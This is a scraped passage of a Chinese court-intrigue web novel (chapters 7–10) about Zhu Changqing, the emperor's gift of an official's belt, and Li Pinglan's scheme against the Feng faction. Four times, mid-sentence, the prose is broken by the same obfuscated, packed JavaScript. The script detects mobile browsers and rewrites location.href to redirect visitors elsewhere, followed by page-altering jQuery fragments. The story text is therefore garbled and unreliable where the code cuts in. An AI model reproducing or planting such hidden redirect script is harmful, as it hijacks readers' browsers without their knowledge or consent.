见她眼中惊起层层波澜，李凭栏高深道：“此事若真如你想的这般简单，蜀平那晚我兴许就放你一马了。我只提醒你一句，你如今有功在身，圣上自当赏赐，然天家隆恩，看的从来不是你想什么，而是陛下要什么，莫要再自寻死路。” 说完，也不等祝常青反应，径自上了马车。 一旁摊贩还未收起的推车里摆着满满的土鸡蛋，祝常青真想拿几颗去砸眼前人潇洒的背影，她生平最痛恨的就是这种说话只说一半，爱打哑谜之人。 故弄玄虚。 偏生她一时还真想不出其中关窍，只能泄气地跟着进马车，脑中竭力琢磨起来。 到了午门，宫内不得驾马驱车，三人步行至太和殿。 祝常青心里藏着事，眼见庄严巍峨的宫殿越靠越近，后知后觉地忐忑起来。 莫说她长这么大是第一次上朝，便是从古至今，女子在这个时辰被召入太和殿的，她也能算得上是开天辟地头一遭。 果不其然，当她跟在李凭栏右侧踏进大殿时，满朝文武官皆投来了惊异的目光，若非担心触怒圣颜，只怕此刻的议论声已经掀了太和殿的顶。 泰宁帝却一反喜怒不形于色的常态，开颜展笑，免了三人的礼。 左边两人轮番上报了在蜀平招安和查办的成果，祝常青屏息垂头，谨小慎微，全当自己是他俩带来的一个挂饰，还得时刻防备着李凭栏，祈祷他网开一面，别把自己试图偷逃的事儿捅出来。 “祝常青。” 泰宁帝冷不丁地一声唤，祝常青一颗心瞬间提到了嗓子眼，她福身行礼：“罪女在。” 殿内所有人的注意都无声压在了她身上，他们想看看，圣上会如何对待这个当年由他亲自定罪，如今又携功而归的祝氏遗女。 威严的声音从堂上传来，带着难得的宽和：“朕擢用吴双为从六品所镇抚，他麾下的一千兵士仍可由他亲自操练。此次招安，你功不可没，说说看，想要什么赏赐？” 祝常青下意识地用余光瞥了李凭栏一眼，见他目不斜视，一派正经，于是快速收回视线。 还真让他猜中了，泰宁帝要赏她。 这就免不了想起他当时说的那一番难以捉摸的怪话了。 ——然天家隆恩，看的从来不是你想什么，而是陛下要什么，莫要再自寻死路。 陛下要什么，祝常青想，现在看来倒有几分显而易见。 以招安吴双做了个半真半假的由头，特意将她从陵江召回，又当着朝中百官的面开恩行赏，一副很是看重她的模样。 先不论最终有何目的，但起码是必定要将她留在京城的。 祝常青打心底里觉得，京城这地方克她，丢了父亲的命还不够，唯恐要把自己也折在这儿。 ——莫要再自寻死路。 李凭栏念出这句话时冷漠的语气犹在耳畔。 不仅京城克她，京城里的人也克她。 祝常青并未犹豫，提裙下跪的动作果断利落，冰凉的地砖印上一个额头，清而脆的声音像是下定了决心。 “陛下仁德，念在罪女孤苦伶仃的份上，还请允罪女回陵江过活。” 李凭栏垂眸很轻地瞧了那团身影一眼，心里只有一个念头：想找死的人是拦不住的。 满堂寂静中，官员们不明所以。 祝常青亲眷尽丧，无依无靠，不愿在京城这个伤心之地久待，想要回到生活了五年的陵江是情理之中，甚至都不能算作赏赐，但为何陛下的神色竟愈发不悦起来。 气氛僵持，泰宁帝单手支在额侧，一言不发，祝常青盯着眼前石砖，已是心如死灰。 余光之中，却见杜宸安右腿往后退了一小步，是个准备跪下的姿势。 李凭栏心道不好，祝常青如此作为尚可解释说是归家心切，但倘若这般合情合理的心愿，还需要杜宸安一同求情也难以满足，就不免叫人遐想其中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14438680|153948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深意了。 赶在杜宸安有所动作之前，李凭栏率先上前一步，行揖道： “陛下，祝娘子辛劳数日，见了蜀平民不聊生之状，难免心思忧戚，想念故乡。然陵江路途遥远，此去又是一番波折，叫人以为陛下薄待，不如就先让祝娘子在京中安顿数日，也好与吴双和小杜大人等旧识叙叙话。” 不待旁人辩驳，泰宁帝就已应下：“李爱卿说的有理，祝小娘子先起来吧。” 尘埃落定，祝常青整个人像是被抽走了一口气。 李凭栏退回两人中间，他绯色官袍的衣摆在她脸侧摇荡不定，如同她心中烧起的怒火。 知道事情再无转圜之地，祝常青便也不继续跪着，一骨碌爬起来，勉强让表情不要显得太难看。 泰宁帝挥了挥手：“朕提前为你另备了一份礼，呈上来吧。” 一太监随之端着紫檀承盘走出，碎步行至祝常青面前，恭恭敬敬地弯下腰，将木盘举过头顶。 上头安放的是一件女子穿的锦服，由江南新进贡的雪缎制成，这种布料在初春时节极为罕见，宫里不得宠的娘娘怕是都见不到半匹。 但对于祝常青来说，布料是最无关痛痒的。 重要的是，她身为罪臣之后，按照律法，一辈子只能着低等的布衣麻服。 那么这泰宁帝赐来的衣裙就显得别有深意了。 是打算摘除罪名，还她清白的意思。 祝常青方要行礼，不料眼尖地看到了藏在衣裙之下的，一个条状物什露出的一角，霎时畏得楞在原地，双眼睁大又眯起，确认自己并未看错，顿觉心惊肉跳。 她不敢有太大的反应，难以置信地抬起眼，却发现泰宁帝早早就盯着自己，将她所有的神情一览无余。 直到此刻，祝常青才算明白，李凭栏那句话到底是何含义，泰宁帝想要的又究竟是什么。 她接过小太监手里的承盘，两拳握在把手处紧了又紧，艰难地空口吞咽了一下，甚至忘了谢恩，直言道：“陛下，您刚才答应臣女的赏赐日后可还作数？” 泰宁帝睨着她的眼神里带着一点探究，心想这丫头改起自称的口来倒是相当麻利，颇为欣慰道：“朕为一国之君，一言九鼎，待你想好要什么赏赐，来同朕讲即可。” 祝常青深深福了一礼。 李凭栏和杜宸安混入百官队列之中，她不便在朝上久待，识趣地端着承盘退下了。 来时不曾发觉太和殿的阶梯竟有这般长，叫人走得精疲力竭也不见尽头。 皇帝、命官、宫殿，无力招架的所有都宛若天边那颗喷薄待发的旭阳，在她的一步一步中逐渐走远。 掌心之上乃是御赐之物，祝常青不敢懈怠，双手捧着，恍若有千斤重，压得她喘不过气。 但仔细辨认起来，不过一件轻纱锦衣、一条腰带而已。 然那腰带名曰素金带，非朝中四品官员不得佩戴，皇帝将这腰带赐予一女子…… 荒谬。 难道要让她做一名臣子不成？ 8. 第八章 祝常青住的仍是刚回京时陛下赐的城郊宅子，她在陵江独自生活惯了，宅子里便只安置了一个洒扫丫鬟和干粗活的小厮。 她已有两日没出门，就是吴双与杜宸安来见，也一概被拒之门外。 卧房门一关，祝常青同那条素金带大眼瞪小眼，几刻钟就要愁得叹一口气，恨不得将这腰带往脖子上一套一扯，吊死她得了！ “祝娘子，宅外有个刑部的大人，说要见您。”丫鬟的声音从屋外弱弱地传了进来。 “不见”两个字刚要脱口，祝常青转念一想：刑部的大人，难道是李凭栏？ 她咬了咬唇，决绝地起身，将那烫手山芋似的腰带藏好，拉开房门快步走出去。 心道：非要问个清楚不可！ 匆匆跨出院门，出现在面前的却是张完全陌生的面孔。 来人看样子未至而立，瘦削挺立得像根竹竿，青色官服上打着几处不惹眼的补丁。 不等祝常青张口，那竹竿就折下腰，深深朝她揖了一礼：“见过祝娘子，在下是刑部主事，张立瑞。” 虽说此人官职不大，但她如今顶多算个良民，天底下哪有官给民行礼的道理。 于是往旁边躲了半个身子，忙将人扶起：“张大人，这是何意？” 离得近了，祝常青才发现，明明是初春时节，这张立瑞额头却沁满了汗珠，听完她的话，脸颊更是窘迫地红了几分。 “不瞒祝娘子，在下奉命调查蜀平官员治理不力一事，原想请吴所镇抚来问两句话，哪知手底下的人没个轻重，惹恼了吴大人……” 吴双本就是个炮仗，听说刑部的人竟然要押他去问话，一点就着，骂骂咧咧地誓死不从。 他是皇帝招安回来的，官职又只比张立瑞小了半阶，人在气头上，一口一个狗官都该去死，谁也劝不住。 张立瑞听闻更是急得直接赶去了五军卫所，半句话都还没说，就被吴双举着长矛赶了出去，只叫他快点给蜀平的那帮狗官们定砍头的罪。 祝常青听得哭笑不得，真是好一出秀才遇上兵。 她与吴双结拜兄妹的关系在京城里已经不是秘密，想来张立瑞也是因为这一点才找上门来。 早担心吴双莽夫的性子会惹是生非，果然，才过了几天的安生日子，就有这样的事发生。 祝常青看着张立瑞焦头烂额的样子，心里生出几分歉意来。 又忽然想到什么，疑惑地问他：“蜀平一事，是李大人交与你办的？” 局面会变成眼下这副僵持不下的模样，一来，吴双脾气暴躁，对蜀平之事十分敏感，软硬不吃，二来，也是张立瑞官居六品，权力太小。 她不信，若今日和吴双对上的是李凭栏，他会没有办法将人带回刑部。 张立瑞闻言不明所以，用袖子揩了揩头上的汗，如实答道：“正是，下官承蒙李大人信任，得此差事，万万不敢懈怠。” 审理贪墨腐败向来是三法司里最为吃力不讨好的差事。 怎么查、查到哪，都颇有讲究，若是一个不小心牵扯了京中大官，亦或是干脆直接查进了皇家，那可就吃不了兜着走了。 竟然把此事交给这么一个小官处置。 祝常青心中对李凭栏生出几分鄙夷，原以为他虽自视甚高，但好歹做官公私分明，没想到也是道貌岸然，不过尔尔。 如此想着，不禁对被拉来顶缸的张立瑞生出点同情，语气温和：“义兄莽撞，为难了大人，实在对不住，若大人容许，可带小女去劝劝。” 张立瑞大喜过望，又作一揖：“多谢祝娘子体谅。” - 吴双这头正在军营里被刑部衙役们团团围着，烦不胜烦。 他人长得高大，老远就瞧见了走来的祝常青，顿时像见了靠山，把一众人挤开，挥手招呼：“妹子！你咋来喱？” 衙役们顺着看去，也见到了自家的主事大人，于是恭敬让开一条路。 祝常青见他乐呵呵的样子，更是气不打一出来，快步走上去，嗔怪地瞪了一眼。 吴双却会错了意。 他原记着她的叮嘱，说话难听却也知道分寸，这下来了底气，彻底口无遮拦：“妹子你来评评理！这些刑部的人，不去找狗官算账，居然反要来抓我，我看他们就是和那些狗杂碎一伙的！” “慎言！”祝常青听得额角突突地跳，出声喝止。 吴双虽占了年纪的便宜当了兄长，但打心眼里还是敬这个妹妹的，觉得她是京城贵门出身，与自己这种农户到底不同。 被她这么一打断，也只好委屈地噤声。 周遭衙役们的脸色已不大好看，祝常青不露声色地瞧了眼一旁的张立瑞，见他并无被冒犯污蔑的怒意，心中松了口气，歉疚地福身一礼。 随即正色对吴双道：“刑部的大人既召你，兄长跟着走一趟便是，何必如此咄咄逼人。” 吴双没反驳，但神情瞧着是不情愿的，祝常青怕再出乱子，向张立瑞恳求：“张大人，兄长初来乍到，不懂规矩，可否由小女陪着一道去刑部？” 她说这话是出自好心，谁知张立瑞不大领情，为难地皱眉：“祝小娘子，朝廷重地，无关人等不可擅入啊。” “嘿你这个死心眼……”吴双话刚冒出一半，又被祝常青瞪了回去。 她微微笑着，谦和道：“我只在刑部大门前等着即可，出了事大人唤我也方便，不会坏了规矩。” 张立瑞这才松口。 马车在刑部前停下，吴双跟着一帮刑官跨入大门。 祝常青按照约定只能在门口候着。 初春的风仍旧寒，未梳入发髻的青丝在脸颊两侧翩飞。 她将双手往宽袖里缩了缩，腹诽着吴双有句话说得不错，这张立瑞确实是个死脑经，不知变通。 不管怎么说，她也算帮了他的忙，哪有真的将人晾在冷风里的道理。 请她进去坐坐，上杯热茶又有何妨，就算被李凭栏发现，还能为这点小事扒了他们的皮不成？ 思索间，一顶大轿落于面前。 轿上走下一气度不凡的官员，他今日未穿绯色官袍，一身玄青色直裰，外头披着不算厚的氅衣。 真是说曹操曹操到。 李凭栏抬眸，就瞧见祝常青低眉顺眼地立在那儿。 她已不是罪女之身，换下了从前的布衣，却好似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14438681|153948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钟爱朴素的服饰，穿的仍是不起眼的牙白窄袄，头上一根簪子，不加珠翠，未施粉黛。 周遭也没什么能挡风的物件，乌发白裙就随风荡着，好似下一秒就会散在风里。 倘若他没领教过她的骨头到底有多硬的话，估计会这么觉得吧。 李凭栏上前几步，漫不经心地扫视她，语调毫无波澜地问：“刑部今日轮到祝娘子看门？” 祝常青因着早晨的事本就对他心存鄙夷，听此一言更觉话不投机半句多，敷衍福身一礼，没答话。 李凭栏倒也不计较，正要往刑部里头走，余光瞥见祝常青还站在原地，冷冷道：“还不跟上？” 祝常青从情绪里回过神来，想起自己确有事要问他，老老实实转了身，嘴上犟着：“李大人，这是不是不合规矩？” 李凭栏回头凉飕飕地看她一眼：“刑部你做主？” 祝常青被噎，乖乖闭了嘴。 在刑部一把手面前谈刑部的规矩，好像是有点自取其辱了。 跟着李凭栏一路往里走，穿过几处弯弯绕绕的廊亭。 祝常青不敢左右多看，却觉得这刑部也不像传言中炼狱一般可怕，起码明面上还是一派清净的。 只有偶尔不知从何处传出猫唤似的惨叫，令人不寒而栗。 未多时，两人进了一间值房，内部雅静整洁，想来是刑部堂官独用的。 李凭栏阔步走到案前坐下，就着案上的一套白玉茶具，自顾自地泡起了茶。 温杯、置茶、注水、浸泡，一步不落。 祝常青从前在闺中时也常同人品茶，知道其中讲究，此刻却耐不住性子，搭话道：“李大人不问问我为何在刑部吗？” 李凭栏手上动作不停，茶香在屋内慢慢弥漫开，他声音轻慢，显得心不在焉： “张立瑞此人二甲进士出身，刚入官场便在吏部做过郎中，原是前途无量，宦海沉浮这么些年，不进反退，是他为人死板，心思不够活络，常得罪同僚、上司。” “吴双和这一根筋碰上，想不出岔子都难。” 祝常青越听越觉得不对劲，一时间不知从何说起才好，理着思路问：“地方官员贪污赈灾粮绝非小事，你明知张大人之脾性，为何还要派他调查，你是故意的？” 李凭栏终于悠悠地掀了掀眼皮，看向她的眼神里带着傲慢的笑意，吐字极冷：“本官的决定，何时轮得到你过问？” 祝常青直视着那双瞳孔，心中一颤。 她在流放陵江的路途中曾遇到过一些山中猛兽，那些未经驯化的豺狼虎豹盯着猎物时也是这样的，能让人从头到脚都蹿过一阵恶寒。 只不过他比它们多了几分高高在上的蔑视罢了。 但同样的，她也亲眼见过那些牲畜死于无情刀剑下，任人宰割的模样。 祝常青不至于如此轻易地被唬住，她心中还有想要知道的答案。 于是故作疑惑地歪了歪头，嘴角缓缓勾起，笑意温顺，不达眼底： “大人曾说过，天家恩赐，看的从来是陛下想要什么。” “常青愚钝，还以为，陛下既赐我素金带，就是要我多多过问朝中事宜。” 9. 第九章 屋内静得落针可闻。 李凭栏方沏好两杯茶，却不着急喝，任由其晾着，等它一点一点冷却。 就这么默了几息，才缓缓开口：“陛下竟赐了你素金带吗。” 听这话里的意思，是想说他毫不知情了。 可惜语气平淡，连抬高几分音量，装出一副惊讶的态度都不肯。 祝常青半个字也不会信。 若他真不解其中深意，把她从蜀平安然带回就算任务完成，何苦在面圣前还要讲那样一番话，试图彻底打消她想逃京的念头。 他明显就清楚泰宁帝的谋算，眼下却不愿主动开口为她解惑。 祝常青便收回视线，礼尚往来地不去理会他的鬼话，低垂着眼，自顾自道： “陛下治国五载，冯直将军殚精竭力，人人敬仰。朝中一派和谐，上下一心，唯冯党马首是瞻。小女得了陛下恩赐，理应为冯将军分分忧。” 她这话看似冠冕堂皇，实则语中带刺，直指冯党一派，假使传出了这扇门，保不齐会因此惹来杀身之祸。 祝常青这几日大门不出，二门不迈，整天对着那条腰带苦思冥想，总算勘破了皇帝的哑谜。 如今这位陛下，身下的龙椅是靠抢来的。 他身为皇子时没当过储君，自然也没有先帝的铺路。 如今朝中高官，皆是当年随他起兵造反的臣子。 这些臣子利益一致，交情过硬，朝堂之中，竟不见尔虞我诈。 其中，冯直为他血洗宫闱，助他攀上皇位，论从龙之功，这位开国将军称第二，便无人敢居第一。 一人之下，万人之上。功高盖主，不知收敛。 于是，想在朝中步步高升，比起尽忠职守，更重要的，是先拜倒在冯氏门下。 谋位时，庭下门客齐心协力可谓佳话，在位时，朝中大臣沆瀣一气却不是美事。 从上至下，狼狈为奸，相互包庇，高枕无忧。 朝堂成了冯党荣华富贵的戏场，皇帝成了眼盲心瞎的傀儡。 他迫切地需要一把刀，一把能将这如蚕蛹般密不透风的朝堂劈开一道口子的利刃。 想通这一切的刹那，祝常青的指尖抚过素金带上精细的绣纹，只觉得荒谬至极。 泰宁帝居然要她来当这把刀。 一个曾因皇权斗争落得家破人亡的女子。 惊骇世俗。 丧心病狂。 等这样的念头缓缓散去，她就发现自己确实是此角色的不二人选。 新朝的雨水已冲刷了五载，旧年的恩怨却还雾蒙蒙地萦绕在人心头。 祝氏作为故太子党的英雄人物，与冯氏乃至眼下的整个官场，都有层挥之不去的隔阂。 蜀平吴双是她的义兄，京都杜氏与她交情不浅。 她还什么都没做，五军卫所、户部、工部，便已可染指两分。 再加上李凭栏身为皇室，只听从泰宁帝差遣，在特殊情况下，兴许也能让她行个方便。 这样一来，连刑部都可插手。 她回京日子太短，还没完全了解冯氏势力究竟如何。 倘若真到了无孔不入，牵一发而动全身的地步。 那么，她女子的身份就是最好的保护伞，游离在朝堂之外，最不容易打草惊蛇，就算冯党中有人起了疑心，也总会有反对的声音嗤笑：一个女子？ 天生的立场，背后的势力。 并且，一个女子。 天底下还有比她更适合做这柄刀的材料吗？ “倒还不算蠢笨。”面前的茶水晾至了适宜入口的温度，李凭栏拿过一杯品啜，想着要不要将剩余那杯递给他值房里难得的客人。 尚未等他做出决定，那位客人便语气不善道：“祝氏落得如今田地皆是陛下所赐，我也并无把柄落在你们手中，难道就不怕我怀恨在心，投靠冯党？” 杯中茶水已尽，李凭栏的脸色冷下来。 他索性将另一杯一同饮了，语气不紧不慢：“先不论冯直到底是会相信你的胡言乱语，还是将你抹了脖子送到陛下面前邀功。” “要是你真希望有人掐着你的命门，逼着你做事，那本官也可许你一诺，待事情结束，会将你平安送回陵江。” 祝常青发觉，自从她做了平民罪女，对这些手握权势之人的轻蔑嘴脸就格外敏锐、厌恶。 无可奈何之感更让她怒火中烧，反唇相讥：“我也可死在京都。” “那就死。”李凭栏接得很快。 他将手中玉杯放在案上，磕出一声不轻不重的动静，无所谓道：“下一盘棋，最不缺的，就是棋篓里的棋子，一颗用得不顺手，丢了，还会有下一颗。” 玉石和木案碰撞的声音如同往她脑中敲了一记醒钟。 祝常青恍惚地平静下来，意识到方才确实有些失言了。 心中却不惶恐，缓缓向李凭栏福了一礼以示歉意。 恰巧门外衙役来通报，说是有要事请侍郎大人处理。 祝常青便不多叨扰，跟着他出了值房。 两人又走过一些弯弯绕绕的小道，一前一后，各自不言，像是心怀鬼胎。 李凭栏突然打破一路沉默，发问：“你觉得张立瑞此人如何？” 祝常青回神，抬眸看了看面前的身影，不明所以，保守答道：“张大人做事谨慎，为人正直。” 半晌才听到一声似是而非的“嗯”。 “确实是死板固执，为官数载，不懂与光同尘。” 还没来得及琢磨他话里的弦外之音，身后就传来道中气十足的男声。 “妹子！” 祝常青浑身一个激灵，赶忙转身，只见吴双火急火燎地朝她奔来。 她一阵头疼，几步上前将人拦住，低声提醒：“刑部重地，不可喧哗，不可疾驰！” 跟着赶来的张立瑞见两人站在一块，吓得要晕过去：“祝娘子！刑部重地！不可擅入！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14438682|153948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “本官领进来的，不必责备。” 张立瑞这才看见不远处自家堂官的背影，忙循着声音来源的方向躬身作揖。 祝常青回头看去，却已不见人影。 - 距离刑部一日游刚过去了两日，张立瑞就又找上门来。 不过这次神情愉悦，嘴角挂笑，不像是被为难的样子。 见祝常青走出院门，赶紧行了一礼，将手中提着的一小包药材似的东西双手奉上。 祝常青照常躲了他的礼，接过那物件，诧异道：“张大人，这是何物？” 张立瑞笑起来时，那种古板严肃的感觉便消退大半，反而显出几分亲切的意味： “这是红枣，幼女嘴馋嗜甜，最爱吃此物，听闻于女子有补血养颜的功效。前日麻烦了祝娘子，还未正式道过谢，奈何家中并不富裕，只能聊表心意，还望祝娘子笑纳。” 祝常青闻言，顿觉手里捧着的纸包沉甸甸的。 目光扫过他衣袖上的补丁，一时间不知该不该收下。 到底是一片心意，退还反而令人难堪，她眉眼弯起，诚恳道谢：“不过举手之劳，劳烦张大人挂心。” 张立瑞摆摆手，正打算告辞。 祝常青又道：“见张大人面有喜色，可是蜀平一案有结果了？” 张立瑞半天没答话。 不用说祝常青都能猜到，他是在思忖这番闲聊会不会触犯律法条规。 许是一切已经尘埃落定，又念在今日本就是来登门道谢的，张立瑞还是点了点头：“祝娘子放心，蜀平知府已招供，不多日即可画押定罪。” 怕她再往深里问下去，张立瑞说完这句话，立刻行礼：“内子还在家中等着，在下先行告辞。” 祝常青自然不会拦，目送他走远，拎着一包红枣回屋了。 拆开外头包裹的麻纸，香甜的气味扑鼻而来。 往水里泡两颗，剩下的干啃着吃。 正值黄昏，窗外鸟雀归巢，叽叽喳喳叫个没完。 她指尖捏着枣肉轻轻按压，心中疑惑，一个知府，竟能把整个蜀平的赈灾银都贪了。 私囊里塞得下那么多银子吗？ - 待到五日后，祝常青把一整包红枣都已吃了个干净，刑部里却还没传出半点风声。 期间特意去寻杜宸安，他也摇着头说不清楚。 反正闲着也是闲着，不如到刑部遛个弯吧，祝常青想。 这日守门的两位衙役似乎是认得她，听闻她要找张主事，二话不说就进去通报。 祝常青觉得稀奇，听另一个人解释才知晓。 原来当日，他们二人也被派去了押送吴双，亲眼目睹了祝常青三言两语就让吴所镇抚心服口服的英姿，心中无不佩服。 祝常青被吹捧得面上一红，含笑谦虚道哪里哪里，目光一转，就见张立瑞正大步朝她走来。 面色苍白，神情凝重。 10. 第十章 两人打了个照面，默契地移步至门口的石狮边上，由那雕塑遮挡住部分身影。 瞧见张立瑞那副倒霉催的样儿，祝常青心里就有了猜测，担忧地皱眉，先开口问道：“蜀平的案子出了岔子，是不是？” 张立瑞闻言脸上更白三分，彻底像根营养不良的竹子，直直朝祝常青弯下腰去，声音有种悲哀的恳切：“事关刑部机密，恕在下无可奉告，还请祝娘子莫要为难！” 祝常青这回没躲，硬生生受下了这礼，心中有气，但不是对张立瑞的。 “好，你不说，我去找李凭栏问。”言罢提脚便走。 张立瑞哪能不拦，却还顾着男女大防，不敢用手碰她，两条臂膀无措地动着。 祝常青直直地往大门的方向闯，张立瑞在她身前一步的地方好一通折腾，反而不停地后退，没拦住她半分。 焦头烂额间，他觉得这一幕似曾相识： 那日被吴双举着长矛赶出卫所时，不也正是这一番场景！ 还真是不是一家人，不进一家门啊…… 眼见祝常青就要跨进刑部大门，张立瑞咬着牙停下步子，又是深深一揖：“祝娘子！还请留步！” 站班的衙役被吓了一跳，余光瞥过两人一眼，就不敢再看，甚至识趣地挪远了些。 心中对祝常青的敬仰更甚，连主事大人都给她行礼，这位祝娘子果真不是一般人呐！ 祝常青气不打一处来，左右来回踱了两步，确定那两个衙役听到不他们的交谈，压低声音道： “张大人，你以为李凭栏为何要将这破差事交与你？便是想你性子直，人缘差，遭了吴双的为难只能拉下面子来请我这个救兵。” “规矩规矩，在刑部，李凭栏就是规矩，他就是要拉我进这趟浑水，让我来收拾这烂摊子！” 张立瑞的大半张脸对着地面，看不清神情，只有脑门上的汗一茬一茬往外冒，不过几息时间，他就下定了决心：“好，我说。” 祝常青实在震惊，她没想过他会如此轻易破了自己的底线。 究竟是此人在眨眼的功夫里就想明白了其中门道，还是真的被自己的架势唬住，亦或是他本就是个假君子，对于所谓原则向来能伸能曲，祝常青暂时无从得知。 眼下更重要的，是他嘴里正吐出的消息。 原来，刑部大狱里的那位前任蜀平知府，早在四日前就该画押问斩，供词都已经写得妥当，只差他在上头按个指印。 临门一脚时，张立瑞却总觉得不对劲，从他府邸里抄出来的银子虽然多，但和中央拨下去的赈灾银相比，仍是九牛一毛。 倘若他只贪了这些，剩余的用在了百姓身上，蜀平也不至于会是这般惨状。 于是他带着刑具单独去见了这位前知府，问他，剩余的银子哪去了？ 前知府被折磨得不人不鬼，气若游丝间还是一样的说辞，被他挥霍完了。 张立瑞不信，要接着用刑，前知府却忽然情绪崩溃，一时间涕泪横流，血腥味夹杂着恶臭味，抱着脑袋大喊： “别查了，真的别查了！再查下去，都会没命的！” 说完便如同痴傻了一般，再问不出别的。 张立瑞直觉其中有异，压下了供纸，打算继续查下去。 然而地方知府已经是从四品官员，他越级办案的特权是李凭栏给的，若还想提审京中官员，得向侍郎打个报告，得了批准才行。 “我连夜写了请奏，递到张大人案前，直至今日，还未予通过……” 说话间，张立瑞的腰背一直未曾抬起来，似乎是自觉罪孽深重，不敢抬头看人。 “滥用职权，厚颜无耻。”祝常青口中碎碎念着。 她仍记得张立瑞带着红枣来道谢时是何等的满面春风。 下属冒着巨大的风险想彻查疑案，身为甩手掌柜的堂官竟还耍起了威风？ 祝常青怒问：“李凭栏何在？” “在值房。”张立瑞弱弱地回完话，直接往她右侧大跨了一步，一副恭敬让路的样子。 祝常青便甩开衣袖，往里走去。 她认路的本事不错，凭着几天前的记忆就能摸索到李凭栏的值房。 行至半途，发觉张立瑞还在自己身后跟着，挥挥手将人打发：“你别跟着我了，叫李凭栏瞧见，准以为是你告了他的黑状。” 张立瑞心中仍有疑虑，欲言又止了半天，最终还是什么都没说，默默退下了。 待到值房跟前，祝常青将面上的怒色退了个干净，松开眉眼，立马换上一副和善的表情。 见人说人话，见鬼说鬼话，这道理祝常青还是晓得的。 替张立瑞愤愤不平不假，不满李凭栏所作所为亦不假，但同时她也清楚，李凭栏既然对此按下不表，那就必定事出有因。 方才闹的那一通，一来，她心中确有不快，二来，也借这机会向张立瑞抖漏些消息。 知道的越多，才越能在关键时刻做出正确的选择。 屋前无人把守，祝常青不敢擅入，在外头不轻不重地唤了声：“李大人，祝氏求见。” 没一会儿，门便从里头被人拉开，室内熏着苏合，暖风中挟着辛香朝人扑来。 李凭栏见到她毫不惊讶，像是早料到她会来一样，将门敞着，转身走回案前，随意问道：“谁放你进来的？” 祝常青跟着进屋，她不想拖累旁人，信口胡诌：“我翻墙进来的。” 算算日子，她回京已有大半个月，酒楼饭馆这些好玩儿的地方一样都还没重温过，倒是刑部这个晦气地一连来了两趟。 她认定自己与此人天生八字相克，但凡方圆十里内有他在，自己喘个气儿都容易倒霉，于是没什么寒暄的兴致，拐着弯道：“义兄总念着蜀平的事儿，见久没动静，我只好上门叨扰。” 李凭栏自然能懂她是来找自己要个说法的，却没立马接话，安静地将手头的公文阅完，才头也不抬地问：“杜宸安没告诉你户部蜀平郎中是谁吗？” 祝常青缓缓拧紧眉心，忽然，福至心灵地，脑中灵光一现，脱口而出：“冯家的人？” 李凭栏这才从满案的公文里抬起头来，分给她一个眼神：“冯决方，冯直的儿子。” 祝常青闻言，眉间却不见半点舒展的迹象，反而更加疑惑。 贪污一案若是能查进户部，冯决方作为蜀平郎中定是难辞其咎，倘使此番将他一举拽下马，冯党必然大乱。 也许，就连最开始的招安吴双， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14438683|153948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是为了师出有名，能将刑部的手光明正大地伸进户部，然后牢牢揪住冯决方的后颈。 这是千载难逢，不容错过的机会，此案不可能就此罢休。 “但还不是时候。”李凭栏将手边的公文折上。 暖香熏得人昏昏沉沉，门外适时卷进一阵湿冷的微风，祝常青就站在那冷暖之间的交界线上，警醒起来。 还不是时候？在等什么？ 她双眸中突然闪过星点碎光，开口笃定：“等冯将军凯旋。” 冯直眼下还在北地与匈奴作战，朝中一旦事发，消息被冯党传出，动摇的可不止是他一个人的心。 毕竟他如今还掌管着数万铁骑精兵，万一被逼急了，生出异心，率兵回京时可就说不准是复命还是造反了。 再者，所谓先手易输，后发制人。 等冯将军进了城，兵权往上一交，论完功行完赏，主动权才能落回他们手中。 “猜得倒是快。”李凭栏轻笑着，起身将熏香灭了，指尖抚过香炉上方最后几缕虚无缥缈的轻烟，“等还不够，还得逼。” 祝常青看着他缓缓转过来与自己相视的双眼，心中如有重物落地般。 李凭栏懒得再卖关子，直言：“张立瑞的请奏我现在不批，等冯直回京我也还是不会批。” “我是陛下的亲侄子，我的意思就是陛下的意思，冯将军浴血奋战，九死一生，好不容易得胜回朝，陛下却指摘起了他儿子的错处，岂不教人心寒？” 